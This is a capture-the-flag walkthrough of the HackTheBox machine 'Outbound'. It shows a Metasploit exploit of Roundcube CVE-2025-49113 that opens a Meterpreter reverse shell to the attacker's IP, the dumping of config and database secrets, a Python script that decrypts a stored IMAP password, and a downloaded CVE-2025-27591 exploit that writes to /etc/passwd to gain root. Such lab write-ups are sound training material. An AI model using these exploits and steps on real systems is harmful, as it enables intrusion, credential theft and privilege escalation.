HackTheBox Outbound
Writeup for HackTheBox Outbound
Machine Synopsis
Key Exploitation Techniques
- Enumeration of services → Roundcube Webmail identified
- Authenticated RCE in Roundcube (CVE-2025-49113)
- Dumping session data and decrypting Roundcube-stored IMAP credentials
- SSH access as
jacob
- Privilege escalation via vulnerable
below
utility (CVE-2025-27591)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Shiro ❯ python3 nmap_owo.py 10.10.11.77
[i] Resolved 10.10.11.77 to 10.10.11.77
=============== Phase 1: TCP Port Scanning ===============
[i] Full TCP scan result already exists, skipping: nmap_scan/01_tcp_full.xml
[+] Discovered open TCP ports: [22, 80]
[i] Detailed TCP scan result already exists, skipping: nmap_scan/02_tcp_detail.xml
=============== Phase 2: Hostname Discovery ===============
[+] Hostname(s) discovered: outbound.htb, mail.outbound.htb
[+] To add this entry, run:
echo -e '10.10.11.77\toutbound.htb mail.outbound.htb' | sudo tee -a /etc/hosts
[i] Rerun with sudo for automatic update.
=============== Phase 4: Service Summary ===============
- 22/tcp ssh (OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ ssh-hostkey: 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
- 80/tcp http (nginx 1.24.0 Ubuntu)
|_ http-server-header: nginx/1.24.0 (Ubuntu)
|_ http-title: Did not follow redirect to http://mail.outbound.htb/
Update /etc/hosts
:
1
Shiro ❯ echo -e '10.10.11.77\toutbound.htb mail.outbound.htb' | sudo tee -a /etc/hosts
Navigating to http://outbound.htb
redirects to http://mail.outbound.htb/
which hosts Roundcube Webmail.
At this point I tested login with provided creds (tyler:LhKL1o9Nm3X2) → success.
Exploitation
Checking “About” shows version 1.6.10.
Googling → vulnerable to CVE-2025-49113 (Post-Auth RCE via PHP Object Deserialization in actions/settings/upload.php
).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Shiro ❯ msfconsole -q
[*] Starting persistent handler(s)...
msf > search roundcube
0 exploit/multi/http/roundcube_auth_rce_cve_2025_49113 2025-06-02 excellent Yes Roundcube Post-Auth RCE via PHP Object Deserialization
1 \_ target: Linux Dropper . . . .
2 \_ target: Linux Command . . . .
3 auxiliary/gather/roundcube_auth_file_read 2017-11-09 normal No Roundcube TimeZone Authenticated File Disclosure
msf > use 0
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set rhosts http://mail.outbound.htb
msf exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set lhost tun0
msf exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set username tyler
msf exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set password LhKL1o9Nm3X2
msf exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > run
[*] Started reverse TCP handler on 10.10.16.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Extracted version: 10610
[+] The target appears to be vulnerable.
[*] Fetching CSRF token...
[+] Extracted token: bNiDFSXZDf4XCt48CRLGtKWglAbyD5cM
[*] Attempting login...
[+] Login successful.
[*] Preparing payload...
[+] Payload successfully generated and serialized.
[*] Uploading malicious payload...
[+] Exploit attempt complete. Check for session.
[*] Sending stage (3090404 bytes) to 10.10.11.77
[*] Meterpreter session 1 opened (10.10.16.7:4444 -> 10.10.11.77:38356)
meterpreter > shell
Process 665 created.
Channel 1 created.
whoami
www-data
script -c /bin/bash /dev/null
Script started, output log file is '/dev/null'.
www-data@mail:/$
Post Exploitation - Config and Database Loot
Dump the Roundcube’s config.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
www-data@mail:~/html/roundcube/config$ ls
config.inc.php config.inc.php.sample defaults.inc.php mimetypes.php
www-data@mail:~/html/roundcube/config$ cat config.inc.php
<?php
/*
+-----------------------------------------------------------------------+
| Local configuration for the Roundcube Webmail installation. |
| |
| This is a sample configuration file only containing the minimum |
| setup required for a functional installation. Copy more options |
| from defaults.inc.php to this file to override the defaults. |
| |
| This file is part of the Roundcube Webmail client |
| Copyright (C) The Roundcube Dev Team |
| |
| Licensed under the GNU General Public License version 3 or |
| any later version with exceptions for skins & plugins. |
| See the README file for a full license statement. |
+-----------------------------------------------------------------------+
*/
$config = [];
// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
// or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';
// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';
// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';
// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';
// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';
// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';
// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
// List of active plugins (in plugins/ directory)
$config['plugins'] = [
'archive',
'zipdownload',
];
// skin name: folder from skins/
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';
List all running processes that are not owned by www-data
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ps aux | grep -v www-data
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 4324 3072 ? Ss 10:00 0:00 /bin/bash /root/init.sh
root 34 0.0 0.0 2800 1792 ? S 10:00 0:00 /bin/sh /usr/bin/mariadbd-safe
mysql 137 0.1 3.0 1541136 120848 ? Sl 10:00 0:04 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock
root 138 0.0 0.0 6196 2432 ? S 10:00 0:00 logger -t mysqld -p daemon error
root 200 0.0 0.0 11156 1656 ? Ss 10:00 0:00 nginx: master process /usr/sbin/nginx
root 247 0.0 0.2 239752 10280 ? Ss 10:00 0:00 php-fpm: master process (/etc/php/8.3/fpm/php-fpm.conf)
root 557 0.0 0.1 42856 4752 ? Ss 10:00 0:00 /usr/lib/postfix/sbin/master -w
postfix 558 0.0 0.1 42884 7168 ? S 10:00 0:00 pickup -l -t unix -u -c
postfix 559 0.0 0.1 42924 7296 ? S 10:00 0:00 qmgr -l -t unix -u
root 568 0.0 0.0 2728 1408 ? S 10:00 0:00 tail -f /dev/null
root 1601 0.0 0.0 8544 2848 ? Ss 11:01 0:00 /usr/sbin/dovecot -c /etc/dovecot/dovecot.conf
dovecot 1602 0.0 0.0 5024 2816 ? S 11:01 0:00 dovecot/anvil
root 1603 0.0 0.0 5164 3072 ? S 11:01 0:00 dovecot/log
root 1604 0.0 0.1 7696 4736 ? S 11:01 0:00 dovecot/config
Access the mysql
database using the credentials found in config file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
www-data@mail:~/html/roundcube/config$ mysql -u roundcube -pRCDBPass2025 -h localhost roundcube
MariaDB [roundcube]> show tables;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache |
| cache_index |
| cache_messages |
| cache_shared |
| cache_thread |
| collected_addresses |
| contactgroupmembers |
| contactgroups |
| contacts |
| dictionary |
| filestore |
| identities |
| responses |
| searches |
| session |
| system |
| users |
+---------------------+
17 rows in set (0.000 sec)
MariaDB [roundcube]> select * from users;
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
| user_id | username | mail_host | created | last_login | failed_login | failed_login_counter | language | preferences |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
| 1 | jacob | localhost | 2025-06-07 13:55:18 | 2025-06-11 07:52:49 | 2025-06-11 07:51:32 | 1 | en_US | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";} |
| 2 | mel | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL | NULL | en_US | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";} |
| 3 | tyler | localhost | 2025-06-08 13:28:55 | 2025-08-28 10:04:16 | 2025-06-11 07:51:22 | 1 | en_US | a:1:{s:11:"client_hash";s:16:"Y2Rz3HTwxwLJHevI";} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
3 rows in set (0.000 sec)
MariaDB [roundcube]> select * from session;
...
| 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 |
...
Found an interesting session dump.
1
2
Shiro ❯ echo 'bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7' | base64 -d
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}list_mod_seq|s:2:"10";%
Decrypting Roundcube Password
Roundcube stores IMAP pass in 3DES. Using $config['des_key']
.
Using ChatGPT, I prompted it to create a roundcube decryption script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Shiro ❯ cat roundcube_decrypt.py
1 │ from base64 import b64decode
2 │ from Crypto.Cipher import DES3
3 │ from Crypto.Util.Padding import unpad
4 │
5 │ def roundcube_decrypt(enc_b64: str, des_key: str) -> str:
6 │ """
7 │ Decrypt a Roundcube-encrypted string (DES-EDE3-CBC).
8 │ - enc_b64: base64 string from session/DB (IV is prepended)
9 │ - des_key: $config['des_key'] (must be exactly 24 characters)
10 │ """
11 │ # Roundcube requires 24-char key for DES-EDE3-CBC
12 │ if len(des_key) != 24:
13 │ raise ValueError("des_key must be exactly 24 characters for DES-EDE3-CBC")
14 │
15 │ # Decode and split IV + ciphertext (IV is first 8 bytes)
16 │ data = b64decode(enc_b64)
17 │ iv, ciphertext = data[:8], data[8:]
18 │
19 │ # PyCryptodome enforces DES key parity; fix it to match OpenSSL/PHP usage
20 │ key = DES3.adjust_key_parity(des_key.encode("utf-8"))
21 │
22 │ # Build cipher and decrypt
23 │ cipher = DES3.new(key, DES3.MODE_CBC, iv=iv)
24 │ plaintext = cipher.decrypt(ciphertext)
25 │
26 │ # Roundcube padding: cleartext + 0x80 + zero padding
27 │ plaintext = plaintext.rstrip(b"\x00")
28 │ if plaintext.endswith(b"\x80"):
29 │ plaintext = plaintext[:-1]
30 │
31 │ return plaintext.decode(errors="ignore")
32 │
33 │
34 │ # Example (matches Roundcube sample config key)
35 │ if __name__ == "__main__":
36 │ enc_value = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/" # encrypted value
37 │ des_key = "rcmail-!24ByteDESkey*Str" # des key found
38 │ print(roundcube_decrypt(enc_value, des_key))
Shiro ❯ python3 roundcube_decrypt.py
595mO8DmwGeD
Decrypting the encrypted value reveals the value 595mO8DmwGeD
.
Using this, we can access Jacob’s mailbox.
In Jacob’s mailbox, we found new password: gY4Wr3a1evp4
.
Lateral Movement - SSH
1
2
3
Shiro ❯ ssh jacob@outbound.htb
jacob@outbound:~$ cat user.txt
329babdad045ac156a0c2b26d8f4f2cc
Privilege Escalation - below
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
jacob@outbound:~$ below -h
Usage: below [OPTIONS] [COMMAND]
Commands:
live Display live system data (interactive) (default)
record Record local system data (daemon mode)
replay Replay historical data (interactive)
debug Debugging facilities (for development use)
dump Dump historical data into parseable text format
snapshot Create a historical snapshot file for a given time range
help Print this message or the help of the given subcommand(s)
Options:
--config <CONFIG> [default: /etc/below/below.conf]
-d, --debug
-h, --help Print help
Searching for below linux exploit
→ vulnerable to CVE-2025-27591.
Clone exploit:
1
2
3
Shiro ❯ git clone https://github.com/BridgerAlderson/CVE-2025-27591-PoC
Shiro ❯ cd CVE-2025-27591-PoC
Shiro ❯ python3 -m http.server 80
Transfer to target:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
jacob@outbound:~$ wget http://10.10.16.8/exploit.py
jacob@outbound:~$ chmod +x exploit.py
jacob@outbound:~$ ./exploit.py
[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] /var/log/below/error_root.log is a regular file. Removing it...
[+] Symlink created: /var/log/below/error_root.log -> /etc/passwd
[+] Target is vulnerable.
[*] Starting exploitation...
[+] Wrote malicious passwd line to /tmp/attacker
[+] Symlink set: /var/log/below/error_root.log -> /etc/passwd
[*] Executing 'below record' as root to trigger logging...
Aug 29 03:11:05.298 DEBG Starting up!
Aug 29 03:11:05.298 ERRO
----------------- Detected unclean exit ---------------------
Error Message: Failed to acquire file lock on index file: /var/log/below/store/index_01756425600: EAGAIN: Try again
-------------------------------------------------------------
[+] 'below record' executed.
[*] Appending payload into /etc/passwd via symlink...
[+] Payload appended successfully.
[*] Attempting to switch to root shell via 'su attacker'...
root@outbound:/home/jacob# cat /root/root.txt
007fb7e9d023a118ad2a80446fec5baa